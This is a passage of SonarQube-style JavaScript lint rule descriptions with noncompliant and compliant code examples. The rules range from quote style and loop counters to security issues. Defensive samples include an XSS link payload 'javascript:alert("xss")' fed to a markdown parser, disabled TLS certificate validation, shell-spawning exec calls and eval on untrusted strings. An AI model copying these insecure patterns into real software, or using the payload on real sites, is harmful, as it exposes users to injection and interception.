let data = { "name": "<b>Alan</b>" };

let template = Handlebars.compile(source); // Compliant by default noEscape is set to false

markdown-it markup language parser:

let md = require('markdown-it')(); // Compliant by default html is set to false

let result = md.render('# <b>attack</b>');

marked markup language parser:

const marked = require('marked');

marked.setOptions({
  renderer: new marked.Renderer()
}); // Compliant by default sanitize is set to true

console.log(marked("# test <b>attack/b>"));

kramed markup language parser:

let kramed = require('kramed');

let options = {
  renderer: new kramed.Renderer({
    sanitize: true // Compliant
  })
};

console.log(kramed('Attack [xss?](javascript:alert("xss")).', options));

See

javascript:S4158

When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation.

Noncompliant Code Example

let strings = [];

if (strings.includes("foo")) {}  // Noncompliant

for (str of strings) {}  // Noncompliant

strings.forEach(str => doSomething(str)); // Noncompliant

javascript:S1440

The == and != operators do type coercion before comparing values. This is bad because it can mask type errors. For example, it evaluates ' \t\r\n' == 0 as true.

It is best to always use the side-effect-less === and !== operators instead.

Noncompliant Code Example

if (var == 'howdy') {...} // Noncompliant

Compliant Solution

if (var === 'howdy') {...}

Exceptions

Even if testing the equality of a variable against null doesn't do exactly what most JavaScript developers believe, usage of == or != is tolerated in such context. In the following case, if foo hasn't been initialized, its default value is not null but undefined. Nevertheless undefined == null, so JavaScript developers get the expected behavior.

if(foo == null) {...}
javascript:S3981

The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection or array instead.

Noncompliant Code Example

if (someSet.size >= 0) {...} // Noncompliant

if (someMap.size < 0) {...} // Noncompliant

const result = someArray.length >= 0;  // Noncompliant

Compliant Solution

if (someSet.size > 0) {...}

if (someMap.size == 0) {...}

const result = someArray.length > 0;
javascript:S1441

This rule checks that all string literals use the same kind of quotes.

Noncompliant Code Example

Using the parameter default (forcing single quotes):

var firstParameter = "something"; // Noncompliant

Compliant Solution

var firstParameter = 'something';

Exceptions

Strings that contain quotes are ignored.

let heSaid = "Then he said 'What?'."  // ignored
let sheSaid = '"Whatever!" she replied.'  // ignored
javascript:S1442

alert(...) as well as confirm(...) and prompt(...) can be useful for debugging during development, but in production mode this kind of pop-up could expose sensitive information to attackers, and should never be displayed.

Noncompliant Code Example

if(unexpectedCondition) {
  alert("Unexpected Condition");
}

See

Deprecated

This rule is deprecated; use S4507 instead.

javascript:S3984

Creating a new Error without actually throwing it is useless and is probably due to a mistake.

Noncompliant Code Example

if (x < 0) {
  new Error("x must be nonnegative");
}

Compliant Solution

if (x < 0) {
  throw new Error("x must be nonnegative");
}
javascript:S3863

Multiple imports from the same module should be merged together to improve readability.

Noncompliant Code Example

import { B1 } from 'b';
import { B2 } from 'b'; // Noncompliant

Compliant Solution

import { B1, B2 } from 'b';
javascript:S3500

Variables declared with const cannot be modified. Unfortunately, attempts to do so don't always raise an error; in a non-ES2015 environment, such an attempt might simply be ignored.

Noncompliant Code Example

const pi = "yes, please";
pi = 3.14;  // Noncompliant
javascript:S1321

The use of the with keyword produces an error in JavaScript strict mode code. However, that's not the worst that can be said against with.

Using with allows a short-hand access to an object's properties - assuming they're already set. But use with to access some property not already set in the object, and suddenly you're catapulted out of the object scope and into the global scope, creating or overwriting variables there. Since the effects of with are entirely dependent on the object passed to it, with can be dangerously unpredictable, and should never be used.

Noncompliant Code Example

var x = 'a';

var foo = {
  y: 1
}

with (foo) {  // Noncompliant
  y = 4;  // updates foo.y
  x = 3;  // does NOT add a foo.x property; updates x var in outer scope
}
print(foo.x + " " + x); // shows: undefined 3

Compliant Solution

var x = 'a';

var foo = {
  y: 1
}

foo.y = 4;
foo.x = 3;

print(foo.x + " " + x); // shows: 3 a
javascript:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

There is no way to disable certificate verification in tls, https and request modules but it is possible to not reject request when verification fails.

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method',
  rejectUnauthorized: false ; // Noncompliant
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Noncompliant

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method',
    rejectUnauthorized: false ; // Noncompliant
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
});  // Noncompliant

request module:

let socket = request.get({
    url: 'www.example.com',
    secureProtocol: 'TLSv1_2_method',
    rejectUnauthorized: false ; // Noncompliant
});

Compliant Solution

https built-in module:

let options = {
  hostname: 'www.example.com',
  port: 443,
  path: '/',
  method: 'GET',
  secureProtocol: 'TLSv1_2_method'
};

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
}); // Compliant: by default rejectUnauthorized  is set to true

tls built-in module:

let options = {
    secureProtocol: 'TLSv1_2_method'
};

let socket = tls.connect(443, "www.example.com", options, () => {
  process.stdin.pipe(socket);
  process.stdin.resume();
}); // Compliant: by default rejectUnauthorized  is set to true

request module:

let socket = request.get({
    url: 'https://www.example.com/',
    secureProtocol: 'TLSv1_2_method' // Compliant
}); // Compliant: by default rejectUnauthorized  is set to true

See

javascript:S888

Testing for loop termination using an equality operator (== and !=) is dangerous, because it could set up an infinite loop. Using a broader relational operator instead casts a wider net, and makes it harder (but not impossible) to accidentally write an infinite loop.

Noncompliant Code Example

for (var i = 1; i != 10; i += 2)  // Noncompliant. Infinite; i goes from 9 straight to 11.
{
  //...
}

Compliant Solution

for (var i = 1; i <= 10; i += 2)  // Compliant
{
  //...
}

Exceptions

Equality operators are ignored if the loop counter is not modified within the body of the loop and either:

  • starts below the ending value and is incremented by 1 on each iteration.
  • starts above the ending value and is decremented by 1 on each iteration.

Equality operators are also ignored when the test is against null.

for (var i = 0; arr[i] != null; i++) {
  // ...
}

for (var i = 0; (item = arr[i]) != null; i++) {
  // ...
}

See

javascript:S4143

It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely in error.

Noncompliant Code Example

 fruits[1] = "banana";
 fruits[1] = "apple";  // Noncompliant - value on index 1 is overwritten

 myMap.set("key", 1);
 myMap.set("key", 2); // Noncompliant - value for key "key" is replaced

 mySet.add(1);
 mySet.add(1); // Noncompliant - element is already in the set
javascript:S4140

An array declared with missing ("sparse") elements is likely to be an error: an extra comma was inserted or perhaps the developer meant to insert the missing value and forgot.

Noncompliant Code Example

let a = [1, , 3, 6, 9];  // Noncompliant

Compliant Solution

let a = [1, 3, 6, 9];
javascript:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

var myNumber = 010;   // Noncompliant. myNumber will hold 8, not 10 - was this really expected?

Compliant Solution

var myNumber = 8;

See

javascript:S3735

The void operator evaluates its argument and unconditionally returns undefined. It can be useful in pre-ECMAScript 5 environments, where undefined could be reassigned, but generally, its use makes code harder to understand.

Noncompliant Code Example

void (function() {
   ...
}());

Compliant Solution

(function() {
   ...
}());

Exceptions

No issue is raised when void 0 is used in place of undefined.

if (parameter === void 0) {...}
javascript:S3616

The comma operator (,) evaluates its operands, from left to right, and returns the second one. That's useful in some situations, but just wrong in a switch case. You may think you're compactly handling multiple values in the case, but only the last one in the comma-list will ever be handled. The rest will fall through to the default.

Similarly the logical OR operator (||) will not work in a switch case, only the first argument will be considered at execution time.

Noncompliant Code Example

switch a {
  case 1,2:  // Noncompliant; only 2 is ever handled by this case
    doTheThing(a);
  case 3 || 4: // Noncompliant; only '3' is handled
    doThatThing(a);
  case 5:
    doTheOtherThing(a);
  default:
    console.log("Neener, neener!");  // this happens when a==1 or a == 4
}

Compliant Solution

switch a {
  case 1:
  case 2:
    doTheThing(a);
  case 3:
  case 4:
    doThatThing(a);
  case 5:
    doTheOtherThing(a);
  default:
    console.log("Neener, neener!");
}
javascript:S4823

Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities:

Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized.

Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure.

This rule raises an issue when on every program entry points (main methods) when command line arguments are used. The goal is to guide security code reviews.

Ask Yourself Whether

  • any of the command line arguments are used without being sanitized first.
  • your application accepts sensitive information via command line arguments.

If you answered yes to any of these questions you are at risk.

Recommended Secure Coding Practices

Sanitize all command line arguments before using them.

Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information.

Sensitive Code Example

// The process object is a global that provides information about, and control over, the current Node.js process
var param = process.argv[2]; // Sensitive: check how the argument is used
console.log('Param: ' + param);

See

Deprecated

This rule is deprecated, and will eventually be removed.

javascript:S1438

In JavaScript, the semicolon (;) is optional as a statement separator, but omitting semicolons can be confusing, and lead to unexpected results because a semicolon is implicitly inserted at the end of each line.

Noncompliant Code Example

function fun() {
  return  // Noncompliant. ';' implicitly inserted at end of line
       5   // Noncompliant. ';' implicitly inserted at end of line
}
print(fun());  // prints "undefined", not "5"

Compliant Solution

function fun() {
  return 5;
}
print(fun());
javascript:S1439

Any statement or block of statements can be identified by a label, but those labels should be used only on while, do-while, for and switch statements. Using labels in any other context leads to unstructured, confusing code.

Noncompliant Code Example

myLabel: if (i % 2 == 0) {  // Noncompliant
  if (i == 12) {
    console.log("12");
    break myLabel;
  }
  console.log("Odd number, but not 12");
}

Compliant Solution

myLabel: for (i = 0; i < 10; i++) {   // Compliant
  console.log("Loop");
  break myLabel;
}
javascript:S4829

Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities:

It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated.

This rule flags code that reads from the standard input.

Ask Yourself Whether

  • data read from the standard input is not sanitized before being used.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize all data read from the standard input before using it.

Sensitive Code Example

// The process object is a global that provides information about, and control over, the current Node.js process
// All uses of process.stdin are security-sensitive and should be reviewed

process.stdin.on('readable', () => {
	const chunk = process.stdin.read(); // Sensitive
	if (chunk !== null) {
		dosomething(chunk);
	}
});

const readline = require('readline');
readline.createInterface({
	input: process.stdin // Sensitive
}).on('line', (input) => {
	dosomething(input);
});

See:

Deprecated

This rule is deprecated, and will eventually be removed.

javascript:S4144

When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored.

Noncompliant Code Example

function calculateCode() {
  doTheThing();
  doOtherThing();
  return code;
}

function getName() {  // Noncompliant
  doTheThing();
  doOtherThing();
  return code;
}

Compliant Solution

function calculateCode() {
  doTheThing();
  doOtherThing();
  return code;
}

function getName() {
  return calculateCode();
}

Exceptions

Functions with fewer than 3 lines are ignored.

javascript:S3973

In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers.

Noncompliant Code Example

if (condition)  // Noncompliant
doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();

Compliant Solution

if (condition)
  doTheThing();

doTheOtherThing();
somethingElseEntirely();

foo();
javascript:S3972

Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an if and its resulting then statement. However, when an if is placed on the same line as the closing } from a preceding then, else or else if part, it is either an error - else is missing - or the invitation to a future error as maintainers fail to understand that the two statements are unconnected.

Noncompliant Code Example

if (condition1) {
  // ...
} if (condition2) {  // Noncompliant
  //...
}

Compliant Solution

if (condition1) {
  // ...
} else if (condition2) {
  //...
}

Or

if (condition1) {
  // ...
}

if (condition2) {
  //...
}
javascript:S4822

An exception (including reject) thrown by a promise will not be caught by a nesting try block, due to the asynchronous nature of execution. Instead, use catch method of Promise or wrap it inside await expression.

This rule reports try-catch statements containing nothing else but call(s) to a function returning a Promise (thus it's less likely that catch is intended to catch something else than Promise rejection).

Noncompliant Code Example

function runPromise() {
  return Promise.reject("rejection reason");
}

function foo() {
  try { // Noncompliant, the catch clause of the 'try' will not be executed for the code inside promise
    runPromise();
  } catch (e) {
    console.log("Failed to run promise", e);
  }
}

Compliant Solution

function foo() {
  runPromise().catch(e => console.log("Failed to run promise", e));
}

// or
async function foo() {
  try {
    await runPromise();
  } catch (e) {
    console.log("Failed to run promise", e);
  }
}
javascript:S3854

There are situations where super() must be invoked and situations where super() cannot be invoked.

The basic rule is: a constructor in a non-derived class cannot invoke super(); a constructor in a derived class must invoke super().

Furthermore:

- super() must be invoked before the this and super keywords can be used.

- super() must be invoked with the same number of arguments as the base class' constructor.

- super() can only be invoked in a constructor - not in any other method.

- super() cannot be invoked multiple times in the same constructor.

Known Limitations

  • False negatives: some issues are not raised if the base class is not defined in the same file as the current class.

Noncompliant Code Example

class Dog extends Animal {
  constructor(name) {
    super();
    this.name = name;
    super();         // Noncompliant
    super.doSomething();
  }
}

Compliant Solution

class Dog extends Animal {
  constructor(name) {
    super();
    this.name = name;
    super.doSomething();
  }
}
javascript:S1105

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the brace-style is not respecting the convention setup in parameter:

* 1tbs (default)

* allman

* stroustrup

Noncompliant Code Example

Using the parameter default (1tbs):

if (condition)
{                                                      //Noncompliant
  doSomething();
}                                                      //Noncompliant
else {
  doSomethingElse();
}

Compliant Solution

if (condition) {                                   //Compliant
  doSomething();
} else {                                           //Compliant
  doSomethingElse();
}

Exceptions

* Object literals appearing as arguments can start on their own line.

functionWithObject(
   {                                                 //Compliant
        g: "someValue"
   }
);

* When blocks are inlined (left and right curly braces on the same line), no issue is triggered.

if(condition) {doSomething();}                       //Compliant
javascript:S1226

While it is technically correct to assign to parameters from within function bodies, it reduces code readability because developers won't be able to tell whether the original parameter or some temporary variable is being accessed without going through the whole function. Moreover, some developers might also expect assignments of function parameters to be visible to callers, which is not the case, and this lack of visibility could confuse them. Instead, all parameters, caught exceptions, and foreach parameters should be treated as constants.

Noncompliant Code Example

function MyClass(name, strings) {
  name = foo;                    // Noncompliant

  for (var str of strings) {
    str = "";  // Noncompliant
  }
}
javascript:S3525

Originally JavaScript didn't support classes, and class-like behavior had to be kludged using things like prototype assignments for "class" functions. Fortunately, ECMAScript 2015 added classes, so any lingering prototype uses should be converted to true classes. The new syntax is more expressive and clearer, especially to those with experience in other languages.

Specifically, with ES2015, you should simply declare a class and define its methods inside the class declaration.

Noncompliant Code Example

function MyNonClass(initializerArgs = []) {
  this._values = [...initializerArgs];
}

MyNonClass.prototype.doSomething = function () {  // Noncompliant
  // ...
}

Compliant Solution

class MyClass {
  constructor(initializerArgs = []) {
    this._values = [...initializerArgs];
  }

  doSomething() {
    //...
  }
}
javascript:S4619

The in operator used on an array is valid but the code will likely not have the expected behavior. The in operator deals with the indexes of the array, not with the values.

If checking for an array slot is indeed desired, using hasOwnProperty makes the code intention clearer.

Noncompliant Code Example

function func1() {
    let arr = ["a", "b", "c"];

    let expectedValue = "b";
    if (expectedValue in arr) { // Noncompliant, will be always false
        return expectedValue + " found in the array";
    } else {
        return expectedValue + " not found";
    }
}

function func2() {
    let arr = ["a", "b", "c"];

    let expectedValue = "1"; // index #1 is corresponding to the value "b"
    if (expectedValue in arr) { // Noncompliant, will be always true because the array is made of 3 elements and the #1 is always there whatever its value
        return expectedValue + " found in the array";
    } else {
        return expectedValue + " not found";
    }
}

Compliant Solution

function func() {
    let arr = ["a", "b", "c"];

    let expectedValue = "b";
    if (arr.includes(expectedValue)) {
        return expectedValue + " was found in the array";
    } else {
        return expectedValue + " not found";
    }
}
javascript:S3760

Expressions with arithmetic (/, *, %, ++, --, -, -=, *=, /=, %=, +=, +), unary (-), or comparison operators (>, <, >=, <=) where one, or both, of the operands is a String, Boolean or Date value rely on implicit conversions. Both the maintainability and reliability levels of such a piece of code are questionable.

Noncompliant Code Example

str = "80";
quarter = str / 4; // Noncompliant

if (str < 10) { // Noncompliant
   // ...
}

Compliant Solution

str = "80";
parsedStr = parseInt(str);
quarter = parsedStr / 4;

if (parsedStr < 10) {
  // ...
}

Exceptions

  • Expressions using the binary + operator with at least one String operand are ignored because the + operator will perform a concatenation in that case.
  • Comparisons where both operands are strings are ignored because a lexicographical comparison is performed in that case.
javascript:S2310

Loop counters should not be modified in the body of the loop. However other loop control variables representing logical values may be modified in the loop, for example a flag to indicate that something has been completed, which is then tested in the for statement.

Noncompliant Code Example

var names = [ "Jack", "Jim", "", "John" ];
for (var i = 0; i < names.length; i++) {
  if (!names[i]) {
    i = names.length;                                 // Non-Compliant
  } else {
    console.log(names[i]);
  }
}

Compliant Solution

var names = [ "Jack", "Jim", "", "John" ];
for (var name of names) {
  if (!name) {
    break;                                 // Compliant
  } else {
    console.log(name);
  }
}
javascript:S2432

Functions declared with the set keyword will automatically return the values they were passed. Thus any value explicitly returned from a setter will be ignored, and explicitly returning a value is an error.

Noncompliant Code Example

var person = {
  // ...
  set name(name) {
    this.name = name;
    return 42;  // Noncompliant
  }
}

Compliant Solution

var person = {
  // ...
  set name(name) {
    this.name = name;
  }
}
javascript:S3524

Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of parentheses with an arrow function does not conform to the configured requirements.

Noncompliant Code Example

With the configured defaults forbidding parentheses

var foo = (a) => { /* ... */ };  // Noncompliant; remove parens from arg
var bar = (a, b) => { return 0; };  // Noncompliant; remove curly braces from body

Compliant Solution

var foo = a => { /* ... */ };
var bar = (a, b) => 0;
javascript:S3403

Comparing dissimilar types using the strict equality operators === and !== will always return the same value, respectively false and true, because no type conversion is done before the comparison. Thus, such comparisons can only be bugs.

Noncompliant Code Example

var a = 8;
var b = "8";

if (a === b) {  // Noncompliant; always false
  // ...
}

Compliant Solution

var a = 8;
var b = "8";

if (a == b) {
  // ...
}

or

var a = 8;
var b = "8";

if (a === Number(b)) {
  // ...
}
javascript:S3523

In addition to being obtuse from a syntax perspective, function constructors are also dangerous: their execution evaluates the constructor's string arguments similar to the way eval works, which could expose your program to random, unintended code which can be both slow and a security risk.

In general it is better to avoid it altogether, particularly when used to parse JSON data. You should use ECMAScript 5's built-in JSON functions or a dedicated library.

Noncompliant Code Example

var obj =  new Function("return " + data)();  // Noncompliant

Compliant Solution

var obj = JSON.parse(data);

Exceptions

Function calls where the argument is a string literal (e.g. (Function('return this'))()) are ignored.

See

  • OWASP Top 10 2017 Category A1 - Injection

Deprecated

This rule is deprecated; use S1523 instead.

javascript:S3402

Use a + with two numbers and you'll get addition. But use it with a string and anything else, and you'll get concatenation. This could be confusing, especially if it's not obvious that one of the operands is a string. It is recommended to explicitly convert the non-string component to make it easier to understand to future maintainers.

This rule raises an issue when + is used with a string and a non-string.

Noncompliant Code Example

function foo() {
  let x = 5 + 8;  // okay
  let z = "8"
  return x + z;  // Noncompliant; yields string "138"
}

Compliant Solution

function foo() {
  let x = 5 + 8;
  let z = "8"
  return x + Number(z);
}
javascript:S4165

The transitive property says that if a == b and b == c, then a == c. In such cases, there's no point in assigning a to c or vice versa because they're already equivalent.

This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths.

Noncompliant Code Example

a = b;
c = a;
b = c; // Noncompliant: c and b are already the same

Compliant Solution

a = b;
c = a;
javascript:S4043

Many of JavaScript's Array methods return an altered version of the array while leaving the source array intact. reverse and sort do not fall into this category. Instead, they alter the source array in addition to returning the altered version, which is likely not what was intended.

This rule raises an issue when the return values of these methods are assigned, which could lead maintainers to overlook the fact that the original value is altered.

Noncompliant Code Example

var b = a.reverse(); // Noncompliant
var d = c.sort(); // Noncompliant

Compliant Solution

var b = [...a].reverse();  // de-structure and create a new array, so reverse doesn't impact 'a'
a.reverse();

c.sort(); // this sorts array in place
javascript:S3757

The result of an expression with an arithmetic operator /, *, %, ++, --, -, +=, -=, *=, /=, %=, + or unary operator +, - when at least one operand is Object or Undefined will be always a NaN (Not a Number).

Noncompliant Code Example

x = [1, 2];
var y = x / 4;  //Noncompliant

Exceptions

  • Date operands: they are implicitly converted to numbers.
  • The binary + operator with Object operand (concatenation).
javascript:S3514

ECMAScript 2015 introduced the ability to extract and assign multiple data points from an object or array simultaneously. This is called "destructuring", and it allows you to condense boilerplate code so you can concentrate on logic.

This rule raises an issue when multiple pieces of data are extracted out of the same object or array and assigned to variables.

Noncompliant Code Example

function foo (obj1, obj2, array) {
  var a = obj1.a;  // Noncompliant
  var b = obj1.b;

  var name = obj2.name;  // ignored; there's only one extraction-and-assignment

  var zero = array[0];  // Noncompliant
  var one = array[1];
}

Compliant Solution

function foo (obj1, obj2, array) {
  var {a, b} = obj1;

  var {name} = obj2;  // this syntax works because var name and property name are the same

  var [zero, one] = array;
}
javascript:S2428

Object literal syntax, which initializes an object's properties inside the object declaration is cleaner and clearer than the alternative: creating an empty object, and then giving it properties one by one.

An issue is raised when the following pattern is met:

  • An empty object is created.
  • A consecutive single-line statement adds a property to the created object.

Noncompliant Code Example

let person = {};  // Noncompliant
person.firstName = "John";
person.middleInitial = "Q";
person.lastName = "Public";

Compliant Solution

let person = {
  firstName: "John",
  middleInitial: "Q",
  lastName: "Public",
}
javascript:S3758

In a Zen-like manner, NaN isn't equal to anything, even itself. So comparisons (>, <, >=, <=) where one operand is NaN or evaluates to NaN always return false. Specifically, undefined and objects that cannot be converted to numbers evaluate to NaN when used in numerical comparisons.

This rule raises an issue when there is at least one path through the code where one of the operands to a comparison is NaN, undefined or an Object which cannot be converted to a number.

Noncompliant Code Example

var x;  // x is currently "undefined"
if (someCondition()) {
  x = 42;
}

if (42 > x) {  // Noncompliant; "x" might still be "undefined"
  doSomething();
}

var obj = {prop: 42};
if (obj > 24) { // Noncompliant
  doSomething();
}

Compliant Solution

var x;
if (someCondition()) {
  x = 42;
} else {
  x = foo();
}

if (42 > x) {
  doSomething();
}

var obj = {prop: 42};
if (obj.prop > 24) {
  doSomething();
}
javascript:S3516

When a function is designed to return an invariant value, it may be poor design, but it shouldn't adversely affect the outcome of your program. However, when it happens on all paths through the logic, it is likely a mistake.

This rule raises an issue when a function contains several return statements that all return the same value.

Noncompliant Code Example

function foo(a) {  // Noncompliant
  let b = 12;
  if (a) {
    return b;
  }
  return b;
}
javascript:S2427

The parseInt function has two versions, one that takes a base value as a second argument, and one that does not. Unfortunately using the single-arg version can result in unexpected results on older browsers.

Noncompliant Code Example

parseInt("010");  // Noncompliant; pre-2013 browsers may return 8

Compliant Solution

parseInt("010", 10);
javascript:S1219

Even if it is legal, mixing case and non-case labels in the body of a switch statement is very confusing and can even be the result of a typing error.

Noncompliant Code Example

Case 1, the code is syntactically correct but the behavior is not the expected one

switch (day) {
  case MONDAY:
  case TUESDAY:
  WEDNESDAY:   // instead of "case WEDNESDAY"
    doSomething();
    break;
  ...
}

Case 2, the code is correct and behaves as expected but is hardly readable

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    foo:for(i = 0 ; i < X ; i++) {
         /* ... */
        break foo;  // this break statement doesn't relate to the nesting case TUESDAY
         /* ... */
    }
    break;
    /* ... */
}

Compliant Solution

Case 1

switch (day) {
  case MONDAY:
  case TUESDAY:
  case WEDNESDAY:
    doSomething();
    break;
  ...
}

Case 2

switch (day) {
  case MONDAY:
    break;
  case TUESDAY:
    compute(args); // put the content of the labelled "for" statement in a dedicated method
    break;

    /* ... */
}
javascript:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
javascript:S3513

The magic of JavaScript is that you can pass arguments to functions that don't declare parameters, and on the other side, you can use those passed-in arguments inside the no-args function.

But just because you can, that does't mean you should. The expectation and use of arguments inside functions that don't explicitly declare them is confusing to callers. No one should ever have to read and fully understand a function to be able to use it competently.

If you don't want to name arguments explicitly, use the ... syntax to specify that an a variable number of arguments is expected. Then inside the function, you'll be dealing with a first-class array, rather than an array-like structure.

Noncompliant Code Example

function concatenate() {
  let args = Array.prototype.slice.call(arguments);  // Noncompliant
  return args.join(', ');
}

function doSomething(isTrue) {
  var args = Array.prototype.slice.call(arguments, 1); // Noncompliant
  if (!isTrue) {
    for (var arg of args) {
      ...
    }
  }
}

Compliant Solution

function concatenate(...args) {
  return args.join(', ');
}

function doSomething(isTrue, ...values) {
  if (!isTrue) {
    for (var value of values) {
      ...
    }
  }
}
javascript:S2424

Overriding an object changes its behavior and could potentially impact all code using that object. Overriding standard, built-in objects could therefore have broad, potentially catastrophic effects on previously-working code.

This rule detects overrides of the following native objects:

  • Fundamental objects - Object, Function, Boolean, Symbol, Error, EvalError, InternalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError
  • Numbers and dates - Number, Math, Date
  • Text processing - String, RegExp
  • Indexed collections - Array, Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Unit16Array, Int32Array, Uint32Array, Float32Array, Float64Array
  • Keyed collections - Map, Set, WeakMap, WeakSet
  • Structured data - ArrayBuffer, DataView, JSON
  • Control abstraction objects - Promise
  • Reflection - Reflect, Proxy
  • Internationalization - Intl
  • Non-standard objects - Generator, Iterator, ParallelArray, StopIteration
javascript:S4721

Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands.

Ask Yourself Whether

  • OS command name or parameters are user-controlled.

There is a risk if you answered yes to any of this questions.

Recommended Secure Coding Practices

Use functions that don't spawn a shell.

Sensitive Code Example

const cp = require('child_process');

// A shell will be spawn in these following cases:
cp.exec(str); // Sensitive
cp.execSync(str); // Sensitive

cp.spawn(str, { shell: true }); // Sensitive
cp.spawnSync(str, { shell: true }); // Sensitive
cp.execFile(str, { shell: true }); // Sensitive
cp.execFileSync(str, { shell: true }); // Sensitive

Compliant Solution

const cp = require('child_process');

cp.execFile("/usr/bin/file.exe", { shell: false }); // Compliant (note that by default with execFile method, shell property is set to false)

See

javascript:S3512

ECMAScript 2015 added the ability to use template literals instead of concatenation. Since their use is clearer and more concise, they are preferred in environments that support ECMAScript 2015.

Noncompliant Code Example

function sayHello(name) {
  console.log("hello " + name);  // Noncompliant
}

Compliant Solution

function sayHello(name) {
  console.log(`hello ${name}`);
}
javascript:S1523

Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities:

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security.

This rule raises issues on calls to eval and Function constructor. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. The goal is to guide security code reviews.

Ask Yourself Whether

  • the executed code may come from an untrusted source and hasn't been sanitized.
  • you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Regarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser).

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer.

Sensitive Code Example

let value = eval('obj.' + propName); // Sensitive
let func = Function('obj' + propName); // Sensitive

Exceptions

This rule will not raise an issue when the argument of the eval or Function is a literal string as it is reasonably safe.

See

javascript:S1525

The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production.

Noncompliant Code Example

for (i = 1; i<5; i++) {
  // Print i to the Output window.
  Debug.write("loop index is " + i);
  // Wait for user to resume.
  debugger;
}

Compliant Solution

for (i = 1; i<5; i++) {
  // Print i to the Output window.
  Debug.write("loop index is " + i);
}

See

Deprecated

This rule is deprecated; use S4507 instead.

javascript:S1526

Variables declared with var have the special property that regardless of where they're declared in a function they "float" to the top of the function and are available for use even before they're declared. That makes scoping confusing, especially for new coders.

To keep confusion to a minimum, var declarations should happen before they are used for the first time.

Noncompliant Code Example

var x = 1;

function fun(){
  alert(x); // Noncompliant as x is declared later in the same scope
  if(something) {
    var x = 42; // Declaration in function scope (not block scope!) shadows global variable
  }
}

fun(); // Unexpectedly alerts "undefined" instead of "1"

Compliant Solution

var x = 1;

function fun() {
  print(x);
  if (something) {
    x = 42;
  }
}

fun(); // Print "1"
javascript:S1527

The following words may be used as keywords in future evolutions of the language, so using them as identifiers should be avoided to allow an easier adoption of those potential future versions:

  • await
  • class
  • const
  • enum
